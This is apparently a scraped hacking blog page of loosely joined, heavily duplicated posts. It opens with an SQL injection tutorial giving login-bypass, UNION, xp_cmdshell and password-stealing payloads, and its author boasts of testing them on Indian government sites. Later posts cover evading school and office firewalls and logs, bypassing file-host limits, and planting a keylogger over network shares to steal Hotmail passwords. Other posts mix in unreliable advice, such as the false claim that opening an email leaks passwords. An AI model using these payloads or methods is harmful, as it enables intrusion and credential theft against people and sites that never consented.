SQL injection is the most common and videly used exploit by hackers all over the world...few days back i was just doing some SQL injection test on Indian govt sites, I was shocked to see how many imp govt sites r open to it....this is a big thread for us...a malicious hacker can do a lot of harm if he wish to.
Vocabulary:
* SQL: Server Query Language- used in web applications to interact with databases.
* SQL Injection : Method of exploiting a web application by supplying user input designed to manipulate SQL database queries.
* "Injection": You enter the injections into an html form which is sent to the web application. The application then puts you input directly into a SQL query. In advertantly, this allows you to manipulate to query...
Prerequisite:
* A background of programming and a general idea of how most hacking methods are done.
Application:
* Hacking a SQL database- driven server (usually only the ones that use unparsed user input in database queries). There is still a surprising number of data-driven web applications on the net that are vulnerable to this type of exploit. Being as typical as all method, the frequency of possible targets decreases over time as the method becomes more known. This is one those exploits that aren't easily prevented by a simple patch but by a competent programmer.
Use:
First, let's look at a typical SQL query:
SELECT fieldName1 , fieldName2 FROM databaseName WHERE restrictionsToFilterWhichEntri esToReturn
Now, to dissect...
The red areas is where criterion is inputed. The rest of the query structures the query.
* SELECT fieldName1 , fieldName2 - Specifies the of the names of fields that will be returned from the database.
* FROM databaseName - Specifies the name of the database to search.
* WHERE restrictionsToFilterWhichEntri esToReturn - Specifies which entries to return.
Here is an example for somebody's login script:
SELECT userAcessFlags FROM userDatabase WHERE userName="(input here)" AND userPass="(input here)"
The idea is guess what that application's query looks like and input things designed to return data other than what was intended.
In the example, input like the following could give gain access to the administrator account:
User: administrator
Pass: " OR ""="
Making the query like this:
SELECT userAcessFlags FROM userDatabase WHERE userName="administrator" AND userPass="" OR ""=""
As you can see, ""="" (nothing does indeed match nothing)
Note: Injections are rarely as simple as this...
One can be creative and use error messages to your advantadge to access other databases, fields, and entries. Learn a little SQL to use things like UNION to merges query results with ones not intended.On the security side, parse user data and get rid of any extra symbols now that you know how it's done.
The idea in this example is to break out of the quotation marks.
When stuff is inside quotation marks, the stuff isn't processed as code or anything but as a phrase and what it is.
The password injection was: " OR ""="
What this does is close the string that was started by the quotation mark in the part userPass=". Once you break out, THEN stuff is considered code. So, I put OR ""=" after I break out of the string. You will notice that it is comparing two quotation marks with one, but the quotation mark already built in by the application finishes it so we have this:
userPass="" OR ""=""
Notice how the first and last quotation marks are not colored and are not built in.
Additional notes:
This was just an extremely simplified version and you will probably need to learn a little SQL to fully understand.
Here are a few SQL terms that do other things:
UNION: You use this to merge the results of one query with another. You may put things like SELECT after UNION in order to search other databases and stuff. Sometimes you may need to use ALL in conjuction to break out of certain clauses. It does no harm so when in doubt you could do something like:
" UNION ALL SELECT 0,'','hash' FROM otherDatabase WHERE userName="admin
The key when using UNION is to make your new query return the same amount of columns in the same datatype so that you may get the results you want.
:-- This works sometimes to terminate the query so that it ignores to the rest of the stuff that might be fed afterwards if you don't like it. For example:
SELECT * FROM userDatabase WHERE userName="admin";--" AND userPass="aH0 qcQOVz7 e0s"
NOT IN: If you have no idea which record you want you could record cycle (you request vague info, and you put what you already got in the NOT IN clause so that you can get the next entry)
Usage:
SELECT userName userPass FROM userDatabase WHERE userName NOT IN ('Dehstil','Twistedchaos')
EXEC: This command should never work, but if it does...you win; you could do anything. For instance, you could inject something like this:
';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:
All my examples so far have dealt with read processes. To manipulate a write process, here is an example for those who know what their doing:
INSERT INTO userProfile VALUES(''+ (SELECT userPass FROM userDatabase WHERE userName='admin')+ '' + 'Chicago' + 'male')
This example would theoretically put the admin's password in your profile.
WELCOME GUEST ENJOY YOUR STAY HERE...
TELL A FRIEND ABOUT US..
Showing posts with label other. Show all posts
Showing posts with label other. Show all posts
Friday, August 14, 2009
Sunday, August 2, 2009
Access Restricted Sites And Internet From Lan Office School college!!!
Do post ur reviews to it!
How to access the protected and so called phished out sites in a college subnetwork or office subnetwork....ALso access the GTALK and Yahoo and any messenger and chatting softwares....?
lets say that ur behind a firewall in a lan subnet in which ur college school or office provides u internet but with restricted sites...that is u cant open any other site except those allowed....in my college we use a software to access sites out of restriction by a software named ultrasurf...its completely automatic and actually works....our college tried to stop us very vehemently but failed to restrict this software as its coding is just like vry hard to decrypt...anyways lets go!!!
Download a software from this site
....
http://www.wujie.net/dow nloads/ultrasurf/u.zip
(tested TROJAN FREE)
its called ultrasurf !!!
see how it works... u just have to extract the exe file outta zip file....then run the exe file...it will automatically detect ur network and router or proxy server...theere are 3 bars which will be flooded with connectivity indicators....now ur free to access anything.....just change ur browsers ip to 127.0.0.1 and port to 9666 and u can access anything....works for chat softwares too..like gtalk and yahoo////
our school had restricted our download limit to 1 mb...but using this we had been downloading one whole movie everyday.....with full speed of 136kbp/s...since am in lan but can access internet as my school provides me so basicallyall i do gets recorded in college server logs...but using ultra doesn't even leaves a piece of log behind u.....
How to access the protected and so called phished out sites in a college subnetwork or office subnetwork....ALso access the GTALK and Yahoo and any messenger and chatting softwares....?
lets say that ur behind a firewall in a lan subnet in which ur college school or office provides u internet but with restricted sites...that is u cant open any other site except those allowed....in my college we use a software to access sites out of restriction by a software named ultrasurf...its completely automatic and actually works....our college tried to stop us very vehemently but failed to restrict this software as its coding is just like vry hard to decrypt...anyways lets go!!!
Download a software from this site
....
http://www.wujie.net/dow nloads/ultrasurf/u.zip
(tested TROJAN FREE)
its called ultrasurf !!!
see how it works... u just have to extract the exe file outta zip file....then run the exe file...it will automatically detect ur network and router or proxy server...theere are 3 bars which will be flooded with connectivity indicators....now ur free to access anything.....just change ur browsers ip to 127.0.0.1 and port to 9666 and u can access anything....works for chat softwares too..like gtalk and yahoo////
our school had restricted our download limit to 1 mb...but using this we had been downloading one whole movie everyday.....with full speed of 136kbp/s...since am in lan but can access internet as my school provides me so basicallyall i do gets recorded in college server logs...but using ultra doesn't even leaves a piece of log behind u.....
Rapidshare Hacking....satisfaction Gauranteed[works With Firefox Only]
1. Download Firefox
2. Rapidshare : Block Rapidshare cookies (so u do not need to delete it again and again) To do this; On Firefox click Tools, Choose Option, Choose Privacy, Choose Cookies, Click Exceptions, type: www.rapidshare.de and click Block.
3. Download FLASHGOT at https://addons.mozilla.org/fire fox/220/
after downloading it restart browser then copy rapidshare link and paste it in the browser address bar then
click free then enter the three digit number and click download.
NOW YOU WILL BE ABLE TO DOWNLOAD THE FILE WITH YOUR DOWNLOAD MANAGER.
4. DOWNLOAD MULTIPLE FILES WITH DOWNLOAD MANAGER---------
FOR MULTIPLE DOWNLOADING JUST CHANGE YOUR IP ADDRESS OR CHANGE YOUR PROXY THEN IT WILL WORK FOR SURE
IT WORKS FOR ME NICELY.HOPE IT WILL WORK FOR YOU TOO....HAVE A NICE DAY..AND ENJOY DOWNLOADING
REGARDS......
ROneY
2. Rapidshare : Block Rapidshare cookies (so u do not need to delete it again and again) To do this; On Firefox click Tools, Choose Option, Choose Privacy, Choose Cookies, Click Exceptions, type: www.rapidshare.de and click Block.
3. Download FLASHGOT at https://addons.mozilla.org/fire fox/220/
after downloading it restart browser then copy rapidshare link and paste it in the browser address bar then
click free then enter the three digit number and click download.
NOW YOU WILL BE ABLE TO DOWNLOAD THE FILE WITH YOUR DOWNLOAD MANAGER.
4. DOWNLOAD MULTIPLE FILES WITH DOWNLOAD MANAGER---------
FOR MULTIPLE DOWNLOADING JUST CHANGE YOUR IP ADDRESS OR CHANGE YOUR PROXY THEN IT WILL WORK FOR SURE
IT WORKS FOR ME NICELY.HOPE IT WILL WORK FOR YOU TOO....HAVE A NICE DAY..AND ENJOY DOWNLOADING
REGARDS......
ROneY
How to Protect Your PayPal Account from Hackers
Learn how to keep out hackers your PayPal account. With the ever growing popularity of PayPal, there are always people that want your money.
Protect Your PayPal Account by NEVER Opening Paypal Emails
One popular way that hackers are accessing PayPal is through email. Most people already know NOT to click a link in an email for their PayPal mail. Fake emails are supposed to be sent to spoof@ PayPal.com.
Do NOT ever open emails from PayPal. Do not open mails to see that a transaction occurred. Do not open mails that show you paid or anything. Everything that you need for financial record keeping for PayPal can be accessed directly from the PayPal site. You can print transaction logs directly from the PayPal site. You can print individual receipts from purchases and subscription payments directly from the site.
There is a hacker program that once you open an email, the program automatically retrieves your email password. Without your knowledge, the hacker sends a request to PayPal for lost password. PayPal then sends the new password information to the email. The hacker has your email password and can then automatically retrieve your PayPal password without your knowledge.
Keep the PayPal customer service number available. If an email has been received that the PayPal account has been compromised, it is best to talk to the customer service representatives instead of communicating via emails and on the PayPal site. Some emails state that the account has been compromised so that you will open that email. Once the email is opened it might be too late. These spoof emails are designed to create a panic and get you to click links inside the email. But the info that the hacker needs is given to them as soon as you open the email. Clicking the link just makes their job easier.
Protect Your PayPal Account by Calling Customer Service
If you open an email, call the PayPal customer service immediately. Tell them that your account was compromised. Ask for assistance on temporarily freezing the account until you can secure it again. Get the PayPal staff to help you secure your account.
Protect Your PayPal Account by NEVER Opening Paypal Emails
One popular way that hackers are accessing PayPal is through email. Most people already know NOT to click a link in an email for their PayPal mail. Fake emails are supposed to be sent to spoof@ PayPal.com.
Do NOT ever open emails from PayPal. Do not open mails to see that a transaction occurred. Do not open mails that show you paid or anything. Everything that you need for financial record keeping for PayPal can be accessed directly from the PayPal site. You can print transaction logs directly from the PayPal site. You can print individual receipts from purchases and subscription payments directly from the site.
There is a hacker program that once you open an email, the program automatically retrieves your email password. Without your knowledge, the hacker sends a request to PayPal for lost password. PayPal then sends the new password information to the email. The hacker has your email password and can then automatically retrieve your PayPal password without your knowledge.
Keep the PayPal customer service number available. If an email has been received that the PayPal account has been compromised, it is best to talk to the customer service representatives instead of communicating via emails and on the PayPal site. Some emails state that the account has been compromised so that you will open that email. Once the email is opened it might be too late. These spoof emails are designed to create a panic and get you to click links inside the email. But the info that the hacker needs is given to them as soon as you open the email. Clicking the link just makes their job easier.
Protect Your PayPal Account by Calling Customer Service
If you open an email, call the PayPal customer service immediately. Tell them that your account was compromised. Ask for assistance on temporarily freezing the account until you can secure it again. Get the PayPal staff to help you secure your account.
Hackers and mobile phone hacking
Cell phones - Hackers Next Target!It was bound to happen - they have hacked just about everything else. Now it's the cell phones. Cellphone hacking has just recently surfaced and been made public ever since some one did some cellular phone hacking on Paris Hilton's cell phone.
This article will give you some information about what is going on out there and what you can do to better protect your cell phone information.What Does It InvolveThe fact of someone hacking cell phone became public knowledge when Paris Hilton's cell phone, along with her information was recently hacked. Unfortunately for her, all her celebrity friends and their phone numbers were also placed on the Internet - resulting in a barrage of calls to each of them.
Cell phone hackers have apparently found a glitch in the way the chips are manufactured. The good news, though, is that it only applies to the first generation models of cell phones that use the Global System for Mobile communications (GSM). Another requirement is that the hacker must have physical access to the cell phone for at least three minutes - which is a real good reason not to let it out of your sight. Currently, although the problem has been remedied (at least for now) in the second and third generation phones, it seems that about 70% of existing cell phones fall within the first generation category.
Another way that mobile phone hacking can take place is for a hacker to walk around an area with people that have cell phones and a laptop that has cellphone hacker programs on it. Through an antenna, and a little patience, his computer can literally pick up your cell phone data - if it is turned on. This is more applicable to cell phones that use Bluetooth technology. What Can A Hacker Do?Surprisingly, there are quite a number of things that can be accomplished by the hacker. Depending on their intent here are a few of them.
Steal Your NumberYour phone number can be accessed and obtained by cellphone hacking. This allows them to make calls and have it charged to your account.
Take Your InformationMobile hacking allows a hacker to contact your cell phone, without your knowledge, and to download your addresses and other information you might have on your phone. Many hackers are not content to only get your information. Some will even change all your phone numbers! Be sure to keep a backup of your information somewhere. This particular technique is called Bluesnarfing.
This article will give you some information about what is going on out there and what you can do to better protect your cell phone information.What Does It InvolveThe fact of someone hacking cell phone became public knowledge when Paris Hilton's cell phone, along with her information was recently hacked. Unfortunately for her, all her celebrity friends and their phone numbers were also placed on the Internet - resulting in a barrage of calls to each of them.
Cell phone hackers have apparently found a glitch in the way the chips are manufactured. The good news, though, is that it only applies to the first generation models of cell phones that use the Global System for Mobile communications (GSM). Another requirement is that the hacker must have physical access to the cell phone for at least three minutes - which is a real good reason not to let it out of your sight. Currently, although the problem has been remedied (at least for now) in the second and third generation phones, it seems that about 70% of existing cell phones fall within the first generation category.
Another way that mobile phone hacking can take place is for a hacker to walk around an area with people that have cell phones and a laptop that has cellphone hacker programs on it. Through an antenna, and a little patience, his computer can literally pick up your cell phone data - if it is turned on. This is more applicable to cell phones that use Bluetooth technology. What Can A Hacker Do?Surprisingly, there are quite a number of things that can be accomplished by the hacker. Depending on their intent here are a few of them.
Steal Your NumberYour phone number can be accessed and obtained by cellphone hacking. This allows them to make calls and have it charged to your account.
Take Your InformationMobile hacking allows a hacker to contact your cell phone, without your knowledge, and to download your addresses and other information you might have on your phone. Many hackers are not content to only get your information. Some will even change all your phone numbers! Be sure to keep a backup of your information somewhere. This particular technique is called Bluesnarfing.
15 Top Secrets of Windows XP (Tutorial)
1. Useful key shortcuts available:
- Windows key + D - shows the desktop
- Windows key + M - minimizes all open windows
- Windows key + Shift + M - maximizes all open windows
- Windows key + E - Runs Windows Explorer
- Windows key + R - shows the RUN dialog
- Windows key + F - shows Search window
- Windows key + Break - shows System Properties box
- Windows key + TAB - Go through taskbar applications
- Windows key + PAUSE Display the System Properties dialog box
- Windows key + U Open Utility Manager
- ALT + TAB - Cycle through opened applications
- Hold down CTRL while dragging an item to Copy it
- CTRL + ESC Display the Start menu
- ALT + ENTER View the properties for the selected item
- F4 key Display the Address bar list in My Computer or
- NUM LOCK + Asterisk (*) Display all of the subfolders that are under the selected folder
2. Lock Windows to protect computer
You can lock Windows to protect the computer when leaving the station easily by creating a shortcut with the path rundll32 .exeuser32 .dll, LockWorkStation. The Windows key + L is also a shortcut to this feature.
3. Edit sysoc.inf to list all software
To show all software that can be removed from your computer (including protected Windows services), you can manually edit (using notepad for example) the sysoc.inf file located in Windows\inf\. Just remove the word hide next to the software pack.
*Note* - use this at your own risk. Removing critical components of the system will make Windows instable.
4 . Windows XP comes with IPv4 and IPv6
Windows XP comes both IPv4 and IPv6 support. To enable IPv6 , you can install the protocols needed with the command "ipv6 install" in the command-prompt. Then type ipv6 /? to see the options. The installation will not remove the IPv4 protocols so your current configuration will still work.
5. Access Task Manager with shortcut
To access the Task Manager easier, you can make a shortcut that points to %windir%\system32\taskmgr.e xe.
6. Stop treating ZIP files like Folders
If you don't want your Windows XP to treat ZIP files like folders, you can disable this component by running regsvr32 /u zipfldr.dll at the command prompt or Run dialog. If you start missing it, you can enable it by typing regsvr32 zipfldr.dll.
7. Run program as diffrent user
You can run a program as a different user. Right click an application and select Run As command.
8. Switch users leaving applications opened
You can switch users leaving the applications opened too (*NOTE* use this only when needed since it could lead to system instability).
Go to Task Manager - processes and end the process explorer.exe. This will end only your session and not all applications. Then go to Applications tab, click New task and type runas /user:domainname\username explorer.exe. A password prompt will appear to login to the desired username. The user's session will start, with all your previously applications running.
I recommend to open first a command-line prompt and type runas /? to see all the options available.
9. Rename multiple files in Windows at once
Rename multiple files in Windows at once. Select them all, right click and select Rename. Enter the desired name. They will be renamed using what you specified, with a number in brackets to distinguish them.
10. Task kill feature in Windows
Windows has a task kill feature similar to Linux. Go to a command prompt and run the command tasklist to see running processes with PID numbers. Then type tskill to end the specific task. This forces an instant closing of the task.
11. Edit features with GPEDIT.MSC
You can edit many features by running gpedit.msc. You can add log on/log off scripts here and many features.
12. Edit accounts in the command prompt
You can edit accounts by running "control userpasswords2" at the command prompt.
13. Use systeminfo.exe to see System Information
You can use the systeminfo.exe command in the command prompt to see System Information, including all Windows updates and hotfixes.
14. Disable system services for maximum performance
There are system services that you can disable to free up the system's load. To access the interface that permits you to make changes to system's services, type services.msc and the command prompt.
This is a list of services that are *usually* useless and can be safely disabled.
Alerter
Application Layer Gateway Service,
Application Management
Automatic Updates
Background Intelligent Transfer
Clipbook
Distributed Link Tracking Client
Distributed Transaction Coordinater
Error Reporting Service
Fast User Switching Compatibility
IMAPI CD-Burning
Indexing Service
IPSEC Services
Messenger
Net Logon
Net Meeting
Remote Desktop Sharing
Network DDE
Network DDE DSDM
Portable Media Serial Number
Remote Desktop Help Session Manager
Remote Registry
Secondary Logon
Smartcard
SSDP Discovery Service
Uninterruptible Power Supply
Universal Plug and Play Device Host
Upload Manager
Webclient
Wireless Zero Configuration
WMI Performance Adaptor
*NOTE*: Make sure you don't need them since some applications you're using could depend on them. If you make any application to fail by disabling any of the services, go back and enable it again.
15. Repair Windows XP by using the XP installation CD
If your system failes to start due to an error related to missing HAL.DLL, invalid Boot.ini or any other critical system boot files you can repair this by using the XP installation CD. ...
- Windows key + D - shows the desktop
- Windows key + M - minimizes all open windows
- Windows key + Shift + M - maximizes all open windows
- Windows key + E - Runs Windows Explorer
- Windows key + R - shows the RUN dialog
- Windows key + F - shows Search window
- Windows key + Break - shows System Properties box
- Windows key + TAB - Go through taskbar applications
- Windows key + PAUSE Display the System Properties dialog box
- Windows key + U Open Utility Manager
- ALT + TAB - Cycle through opened applications
- Hold down CTRL while dragging an item to Copy it
- CTRL + ESC Display the Start menu
- ALT + ENTER View the properties for the selected item
- F4 key Display the Address bar list in My Computer or
- NUM LOCK + Asterisk (*) Display all of the subfolders that are under the selected folder
2. Lock Windows to protect computer
You can lock Windows to protect the computer when leaving the station easily by creating a shortcut with the path rundll32 .exeuser32 .dll, LockWorkStation. The Windows key + L is also a shortcut to this feature.
3. Edit sysoc.inf to list all software
To show all software that can be removed from your computer (including protected Windows services), you can manually edit (using notepad for example) the sysoc.inf file located in Windows\inf\. Just remove the word hide next to the software pack.
*Note* - use this at your own risk. Removing critical components of the system will make Windows instable.
4 . Windows XP comes with IPv4 and IPv6
Windows XP comes both IPv4 and IPv6 support. To enable IPv6 , you can install the protocols needed with the command "ipv6 install" in the command-prompt. Then type ipv6 /? to see the options. The installation will not remove the IPv4 protocols so your current configuration will still work.
5. Access Task Manager with shortcut
To access the Task Manager easier, you can make a shortcut that points to %windir%\system32\taskmgr.e xe.
6. Stop treating ZIP files like Folders
If you don't want your Windows XP to treat ZIP files like folders, you can disable this component by running regsvr32 /u zipfldr.dll at the command prompt or Run dialog. If you start missing it, you can enable it by typing regsvr32 zipfldr.dll.
7. Run program as diffrent user
You can run a program as a different user. Right click an application and select Run As command.
8. Switch users leaving applications opened
You can switch users leaving the applications opened too (*NOTE* use this only when needed since it could lead to system instability).
Go to Task Manager - processes and end the process explorer.exe. This will end only your session and not all applications. Then go to Applications tab, click New task and type runas /user:domainname\username explorer.exe. A password prompt will appear to login to the desired username. The user's session will start, with all your previously applications running.
I recommend to open first a command-line prompt and type runas /? to see all the options available.
9. Rename multiple files in Windows at once
Rename multiple files in Windows at once. Select them all, right click and select Rename. Enter the desired name. They will be renamed using what you specified, with a number in brackets to distinguish them.
10. Task kill feature in Windows
Windows has a task kill feature similar to Linux. Go to a command prompt and run the command tasklist to see running processes with PID numbers. Then type tskill
11. Edit features with GPEDIT.MSC
You can edit many features by running gpedit.msc. You can add log on/log off scripts here and many features.
12. Edit accounts in the command prompt
You can edit accounts by running "control userpasswords2" at the command prompt.
13. Use systeminfo.exe to see System Information
You can use the systeminfo.exe command in the command prompt to see System Information, including all Windows updates and hotfixes.
14. Disable system services for maximum performance
There are system services that you can disable to free up the system's load. To access the interface that permits you to make changes to system's services, type services.msc and the command prompt.
This is a list of services that are *usually* useless and can be safely disabled.
Alerter
Application Layer Gateway Service,
Application Management
Automatic Updates
Background Intelligent Transfer
Clipbook
Distributed Link Tracking Client
Distributed Transaction Coordinater
Error Reporting Service
Fast User Switching Compatibility
IMAPI CD-Burning
Indexing Service
IPSEC Services
Messenger
Net Logon
Net Meeting
Remote Desktop Sharing
Network DDE
Network DDE DSDM
Portable Media Serial Number
Remote Desktop Help Session Manager
Remote Registry
Secondary Logon
Smartcard
SSDP Discovery Service
Uninterruptible Power Supply
Universal Plug and Play Device Host
Upload Manager
Webclient
Wireless Zero Configuration
WMI Performance Adaptor
*NOTE*: Make sure you don't need them since some applications you're using could depend on them. If you make any application to fail by disabling any of the services, go back and enable it again.
15. Repair Windows XP by using the XP installation CD
If your system failes to start due to an error related to missing HAL.DLL, invalid Boot.ini or any other critical system boot files you can repair this by using the XP installation CD. ...
Megaupload download slot bypass hack
This hack works only in the Firefox browser!! If you don't have the Firefox browser then click on the Firefox button on the right side (-->) of page to download Firefox browser for free!! By the way Firefox is great browser and has so many add on features which is not there in any other browser !! So use the Firefox button there on the right side of page (-->) and download it for free !!!
NOTE: The following hack doesn't seem to work in some countries. So, a new megaupload hack is given here. So use that if this don't work.
Megaupload is a popular file hosting service. It allows files upto 250MB to be uploaded by anyone and then downloaded for free by anyone.
But it has some limitations... Yes, the number of download slots is limited for some countries.
If all the slots for a country are occupied then no one from that country can download any file.
The following error message is displayed:
"All download slots assigned to your country are in use. Please try again later."
You will have to wait till any of the slots become free to start downloading.
Hacks to bypass megaupload download slot limitations:
Install "User Agent Switcher" extension in your firefox browser using the following location.
http://chrispederick.com/work /useragentswitcher/
Then add a new user agent as given below.
Mozilla/4.0 (compatible; MSIE 6.0 ; Windows NT 5.1 ; SV1; Alexa Toolbar)
Now change your user agent to the above mentioned one.
Now open the megaupload link and download without any trouble.
NOTE: The following hack doesn't seem to work in some countries. So, a new megaupload hack is given here. So use that if this don't work.
Megaupload is a popular file hosting service. It allows files upto 250MB to be uploaded by anyone and then downloaded for free by anyone.
But it has some limitations... Yes, the number of download slots is limited for some countries.
If all the slots for a country are occupied then no one from that country can download any file.
The following error message is displayed:
"All download slots assigned to your country are in use. Please try again later."
You will have to wait till any of the slots become free to start downloading.
Hacks to bypass megaupload download slot limitations:
Install "User Agent Switcher" extension in your firefox browser using the following location.
http://chrispederick.com/work /useragentswitcher/
Then add a new user agent as given below.
Mozilla/4.0 (compatible; MSIE 6.0 ; Windows NT 5.1 ; SV1; Alexa Toolbar)
Now change your user agent to the above mentioned one.
Now open the megaupload link and download without any trouble.
How To Reset, Retrieve Windows Xp User Password if forgotten or losted.
IF U R IN TROUBLE ? LOST YOUR XP LOGIN USERNAME AND PASSWORD......
============================== ==================== ===================
You can get in to anu user account if you are using windows administrative account its a simple methord !
STEP 1. CLCIK - START MENU !
STEP 2. TAKE " RUN "
STEP 3. RUN " mmc " - M icrosoft M anagement C onsole
There u get a new NEW WINDOW - name Console
STEP 4. Click FILE TAB
STEP 5. TAKE " ADD / REMOVE "
STEP 6. Click " Add.. " - (Child window)
STEP 7. " Add Local User and Groups " From the category
STEP 8. THEN CLICK - OK
STEP 9. CLICK USER
Now u can see all USER account
STEP 10. Right Click on any user u want to change !
STEP 11. Choose " Set Password "
STEP 12. Type NEWPASSWORD - and click OK !
Process Over ! Now you can Logout.... then Login with other user ( that u change password ) with Newpassword !
Enjoy...
============================== ==================== ===================
You can get in to anu user account if you are using windows administrative account its a simple methord !
STEP 1. CLCIK - START MENU !
STEP 2. TAKE " RUN "
STEP 3. RUN " mmc " - M icrosoft M anagement C onsole
There u get a new NEW WINDOW - name Console
STEP 4. Click FILE TAB
STEP 5. TAKE " ADD / REMOVE "
STEP 6. Click " Add.. " - (Child window)
STEP 7. " Add Local User and Groups " From the category
STEP 8. THEN CLICK - OK
STEP 9. CLICK USER
Now u can see all USER account
STEP 10. Right Click on any user u want to change !
STEP 11. Choose " Set Password "
STEP 12. Type NEWPASSWORD - and click OK !
Process Over ! Now you can Logout.... then Login with other user ( that u change password ) with Newpassword !
Enjoy...
Hacking hotmail passwords on a network
First of you will need to go and download cain&able at http://www.oxid.it/
And you will need to find a basic key logger (just google it)
Then once you have Cain install it on a computer on a network and click on the network tab then direct down to Microsoft Windows Network / (domain name) / All Computers. There you will find all the computers that are running on the network then just find the computer that you are looking for and click on shears and right click on C drive and map network drive than just install the key logger to that drive and create a shortcut for it and chuck it in the start up folder for all the users and just check it in a few days and if some one logged in to a website or hotmail account you will have there username and password
If some 1 is using the computer at the time go and read shutdown basics and just restart there computer
well but keep in mind one thin else u ll blame RAHUL
1. This will only work if they have shares enable
2. Once again only work if you have write access to the drive
3. Why use cain and abel to do it?
4. Why not use the arp poisoning feature of cain and able to sniff all the packets from the computer you want the account from?
And you will need to find a basic key logger (just google it)
Then once you have Cain install it on a computer on a network and click on the network tab then direct down to Microsoft Windows Network / (domain name) / All Computers. There you will find all the computers that are running on the network then just find the computer that you are looking for and click on shears and right click on C drive and map network drive than just install the key logger to that drive and create a shortcut for it and chuck it in the start up folder for all the users and just check it in a few days and if some one logged in to a website or hotmail account you will have there username and password
If some 1 is using the computer at the time go and read shutdown basics and just restart there computer
well but keep in mind one thin else u ll blame RAHUL
1. This will only work if they have shares enable
2. Once again only work if you have write access to the drive
3. Why use cain and abel to do it?
4. Why not use the arp poisoning feature of cain and able to sniff all the packets from the computer you want the account from?
Remove "Uninstallable" XP Utilities
Think you can't uninstall Windows Messenger, WordPad, and similar components? Think again. This hack shows you how. Windows has always had a problem with uninstalling software, and it's particularly poor at uninstalling its own utilities, such as WordPad or Windows Messenger. Uninstalling these utilities can free up hard- disk space if your hard disk is starting to fill up. And if you never use Windows Messenger, you most likely will want to uninstall it because the program frequently launches itself automatically even after you've shut it down repeatedly, kind of like Dracula returning from the dead. It won't bother you any longer if you uninstall it. To remove XP utilities and components, you normally choose Control Panel Add or Remove Programs Add/Remove Windows Components to get to the Windows Components Wizard, shown in Figure 2-12 . To uninstall a utility or component, just follow the wizard's instructions. Figure 2-12. The Windows Components Wizard
Ah, but there's a catch. A number of Windows utilities and componentsnotably Windows Messenger and WordPaddon't show up in the Windows Components Wizard so there's no apparent way to uninstall them. But you can, in fact, remove these components. XP has a Setup Information file that controls what appears in the Windows Components Wizard. If you edit this file, you can force these components to appear in the wizard, and then you can remove them as you would any others. To start, use Notepad or another text editor to open the Setup Information file, sysoc.inf, which is generally found in the C:\WINDOWS\INF folder. For safety's sake, make a backup of the file before editing it, so you can revert to it if you need to. You should also set up a system restore point before making the changes. To set up a system restore point, choose Control Panel Performance and Maintenance System Restore and follow the instructions.
C:\WINDOWS\INF is a hidden folder, so if you want to view its contents, you will have to enable hidden folders by going into Windows Explorer and choosing Tools Folder Options View Show Hidden Files and Folders.
When you open the file, look for the line describing the program you want to uninstall. Lines in the file have the format:program=program.dll,O cEntry,program.inf,,numeral
Programs that are uninstallable have the word hide (or HIDE) embedded in the string. When this word is included in the string, the program won't show up in the Windows Components Wizard. The Pinball game entry, which doesn't show up in the wizard, looks like this:Pinball=ocgen.dll,OcEntry,p inball.inf,HIDE,7
To force it to show up in the wizard, remove the word HIDE from the entry that refers to the component you want to remove. For example, if you want to remove Pinball, edit its entry to this:Pinball=ocgen.dll,OcEntry,p inball.inf,,7
Save the sysoc.inf file, then run the Windows Components Wizard. The component will now show up in the wizard. Remove it as you would any other component. Keep in mind that not all of the entries in sysoc.inf are as easy to understand as Pinball and WordPad. For example, if you want to remove Windows Messenger, look for the entry that starts with the text msmsgs. If you want to remove the Accessibility Wizard, look for the entry for AccessOpt. Table 2-4 lists the "uninstallable" programs and their entries in the sysoc.inf file. Table 2-4. "Uninstallable" programs and their sysoc.inf entries Entry What entry refers to
AccessOpt Accessibility Wizard
MultiM Multimedia components, including Media Player, Volume Control, and Sound Recorder
CommApps Communications components, including Chat, Hyperterminal, and Phone Dialer
AutoUpdate Windows Automatic Update
TerminalServer Terminal Server
dtc Distributed Transaction Coordinator
dom COM+
WBEM Windows Management Instrumentation
Pinball Pinball game
MSWordPad WordPad
msmsgs Windows Messenger
You might run into a few gotchas when trying to remove "uninstallable" components. On some systems, you simply won't be able to remove Windows Messenger because Windows Messenger won't show up on the Windows Components Wizard even after you edit the sysoc.inf file. And some components, such as Terminal Server, will show up in the wizard if you edit the sysoc.inf file, but the wizard still won't let you uninstall them. 2.9.1. Hide Components You Don't Want to Be Uninstalled You can use this same technique in reverse to hide components you don't want to be uninstalled accidentally. Simply put the word HIDE in the proper place in the entry that you don't want to show up in the Windows Components Wizard. For example, if you want to hide the uninstall entry for the fax utility, edit its entry by changing:Fax=fxsocm.dll,FaxOc mSetupProc,fxsocm.inf,,7
to:Fax=fxsocm.dll,FaxOcmSetup Proc,fxsocm.inf,HIDE,7
Ah, but there's a catch. A number of Windows utilities and componentsnotably Windows Messenger and WordPaddon't show up in the Windows Components Wizard so there's no apparent way to uninstall them. But you can, in fact, remove these components. XP has a Setup Information file that controls what appears in the Windows Components Wizard. If you edit this file, you can force these components to appear in the wizard, and then you can remove them as you would any others. To start, use Notepad or another text editor to open the Setup Information file, sysoc.inf, which is generally found in the C:\WINDOWS\INF folder. For safety's sake, make a backup of the file before editing it, so you can revert to it if you need to. You should also set up a system restore point before making the changes. To set up a system restore point, choose Control Panel Performance and Maintenance System Restore and follow the instructions.
C:\WINDOWS\INF is a hidden folder, so if you want to view its contents, you will have to enable hidden folders by going into Windows Explorer and choosing Tools Folder Options View Show Hidden Files and Folders.
When you open the file, look for the line describing the program you want to uninstall. Lines in the file have the format:program=program.dll,O cEntry,program.inf,,numeral
Programs that are uninstallable have the word hide (or HIDE) embedded in the string. When this word is included in the string, the program won't show up in the Windows Components Wizard. The Pinball game entry, which doesn't show up in the wizard, looks like this:Pinball=ocgen.dll,OcEntry,p inball.inf,HIDE,7
To force it to show up in the wizard, remove the word HIDE from the entry that refers to the component you want to remove. For example, if you want to remove Pinball, edit its entry to this:Pinball=ocgen.dll,OcEntry,p inball.inf,,7
Save the sysoc.inf file, then run the Windows Components Wizard. The component will now show up in the wizard. Remove it as you would any other component. Keep in mind that not all of the entries in sysoc.inf are as easy to understand as Pinball and WordPad. For example, if you want to remove Windows Messenger, look for the entry that starts with the text msmsgs. If you want to remove the Accessibility Wizard, look for the entry for AccessOpt. Table 2-4 lists the "uninstallable" programs and their entries in the sysoc.inf file. Table 2-4. "Uninstallable" programs and their sysoc.inf entries Entry What entry refers to
AccessOpt Accessibility Wizard
MultiM Multimedia components, including Media Player, Volume Control, and Sound Recorder
CommApps Communications components, including Chat, Hyperterminal, and Phone Dialer
AutoUpdate Windows Automatic Update
TerminalServer Terminal Server
